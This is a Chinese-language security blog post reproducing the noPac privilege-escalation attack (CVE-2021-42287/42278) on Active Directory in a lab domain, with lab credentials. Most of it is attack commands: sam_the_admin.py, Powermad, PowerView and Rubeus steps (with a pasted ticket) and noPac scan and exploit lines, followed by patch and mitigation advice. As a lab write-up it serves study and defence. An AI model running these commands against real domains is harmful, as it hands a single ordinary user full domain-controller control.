登陆 注册

只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)

Alis 2021-12-14 CVE-2021-42287CVE-2021-42278漏洞复现安全文摘

前言

最近出了两个漏洞:

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

说白了就是:如果获得了 DC 用户的 TGT 票据且域内有一台名为 DC$ 域控,再将 DC 用户删除,此时使用该 TGT 去请求 s4u2self,如果域控制器帐户 DC$ 存在,那么 DC 就能获得域控制器帐户(机器用户DC$)的 ST 票证。

假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman$,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman$。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

漏洞环境

在这里我使用的是渗透攻击红队的内网域渗透靶场:redteam.red 域

IP机器名用户名:密码
10.10.10.8(DC)owaredteam/Administrator:Admin12345
10.10.10.7Work-7redteam/saul:Red12345


CVE-2021-42287/CVE-2021-42278 Attack

Python 利用脚本:https://github.com/WazeHell/sam-the-admin

前置条件:需要一个域用户

利用过程:

python3 sam_the_admin.py "redteam/saul:Red12345" -dc-ip 10.10.10.8 -shell

该漏洞利用十分简单粗暴,只需要一个域用户账户即可拿到 DC 的控制权限。

CVE-2021-42287/CVE-2021-42278 深入分析

具体利用流程是这样的:

  1. 首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad

    addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

  2. 清除机器账户的servicePrincipalName属性

  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

  4. 为机器账户请求TGT

  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可

  6. 通过S4U2self协议向DC请求ST

  7. 进行 DCsync Attack

那么我们一步步来再次复现一遍:

1、首先 saul 用户是一个普通的域用户:

2、通过利用 powermad.ps1 新增机器帐号(域用户默认可以新建10个机器账户)

下载地址:https://github.com/Kevin-Robertson/Powermad

命令语法:

powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1

# 运行完后需要输入一下密码:whoami(可任意密码)
New-MachineAccount -MachineAccount saulgoodman -Domain redteam.red -DomainController owa.redteam.red -Verbose

# 验证是否添加成功
net group "domain computers" /domain

3、clear its SPNs(清除SPN信息)

# 导入一下 PowerView.ps1
Import-Module .\PowerView.ps1

Set-DomainObject "CN=saulgoodman,CN=Computers,DC=redteam,DC=red" -Clear 'serviceprincipalname' -Verbose

4、reset the computer name(重设机器名称)

Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "owa" -Attribute samaccountname -Verbose

5、Request TGT (请求TGT)

./Rubeus.exe asktgt /user:owa /password:whoami /domian:redteam.red /dc:owa.redteam.red /nowrap

6、Change Machine Account samaccountname(改回原来属性,或者其他的)

Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose

7、Request S4U2self(获取票据)

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/owa.redteam.red" /dc:"owa.redteam.red" /ptt /ticket:doIEpjCCBKKgAwIBBaEDAgEWooIDwzCCA79hggO7MIIDt6ADAgEFoQ0bC1JFRFRFQU0uUkVEoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZKOCA30wggN5oAMCARehAwIBAqKCA2sEggNndmn7rhIzitxI2VghguavSAJRzkfZBeA2CzvontUXgh7tg5S9kwPXwy/BcbirLKK1gZ4TeGDgM9ILshg5MaWehy5PsQaxNUczNW+n5FqqaXaKqPD3hCibVaRcV8vasIuuD9hpgaxtG1DJKKopAJyJTbKIrijjxL2yEY07ZZdSEpsKdvFhVwmgHsSG7ZabLyaJ1T+DdZ+gwBme5oNqInvJdWCsc7/5Me/ImDtMuAAEGXfYPIZtIq4Z07QubAJJw1TAa+qpT7VqvCiwu1fh4kryx5z4yzI2GowaiJqgCKJ5f7j7uIM7WanM9YICI8NQsmD4O8c7GJDoureq4BgrNJtXTSN37m9r8MH6Pym9bDi2ZWCV+irr7AjI9ppOvDtFhxq83MmQTJCiuOKGY87qxrsufn3/c2EVK7L1aqpF3ajkZGBKLg3D8InOQe0UpCqAT0Ke+cbp6v/ZnSumLDeI2dAw7PABFDoTKIOWlGntngC5yuhZVf5rWkj0xHxhI+WqQbWdX34OlUF0LVOyJaS8h/LC552/veEM+zyks8UdOvFibpdJYbHYVTYXkuM4nBJ745XwoOjgyDyoTHF0WFwg6iQLXPLZsbAt6FFHPHSK3Pst0YrorYX6SkXdPM/Whu/FeEnoj3V9VZJzmME8uDk34A4Ga5nFDP2wUwDr8gwb4N8Xl1HjG2cSLlujDk6rT3jm6QWLhH8zZBAU3XrXTpPqsqJwXU7PV4WlAectCBgVoSRBxHq/rPSqgWQUi3wFGWheXlIK/ljwqlpwFVdz5TnoLSfEk8Qeml3itjdDhXYln4lpUE8r7K5H0u2D3rMUXs4gFhJCM9s3ErWGfqCMggAs0dg8+G6zcYy3w8OaiCnvRQiDgqrISN0ELWkFjf5X1HqD170p88zXo8ILUMBIYkRx5rNK5GrFwVQNqlWSORT8YNp5LAsQ8vZ+4N+hKOcyapIfRR/SOil6Ed8/UsPWZJjj7zHUDtBUoak3xK4mVqJp2894bdsgScd8uRsPSq4MkPi7YZ2CNEubLU2h8wGOPaecSbfAFDyrbRZnCWzIkKrjtw63qIY032THk0gqpZ3tHSIQHhGLnl34LuLG7nMqvIAlrWOf8brFUa4O85UC3roOMqU0fh8ko8rd332Nt3BHpRQvA2lcutqp/pAgV6OBzjCBy6ADAgEAooHDBIHAfYG9MIG6oIG3MIG0MIGxoBswGaADAgEXoRIEEPTgo0jbEFFl/FfX7+MXbZmhDRsLUkVEVEVBTS5SRUSiEDAOoAMCAQGhBzAFGwNvd2GjBwMFAEDgAAClERgPMjAyMTEyMTMxMDI3MTRaphEYDzIwMjExMjEzMjAyNzE0WqcRGA8yMDIxMTIyMDEwMjcxNFqoDRsLUkVEVEVBTS5SRUSpIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3JlZHRlYW0ucmVk

可能是我环境的问题,Rubeus.exe 获取票据的时候报错了。

noPac Tools Attack

后续使用:https://github.com/cube0x0/noPac (需安装 .net 4.0+)

1、扫描是否存在漏洞:

.\noPac.exe scan -domain redteam.red -user saul -pass 'Red12345'

2、漏洞利用:

./noPac.exe -domain redteam.red -user saul -pass 'Red12345' /dc owa.redteam.red /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt

漏洞修复方式

  1. 微软官方已推出补丁:KB5008602、KB5008380

  2. 通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0,中断此漏洞的利用链。


文由:红队攻防实验室

生成海报
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net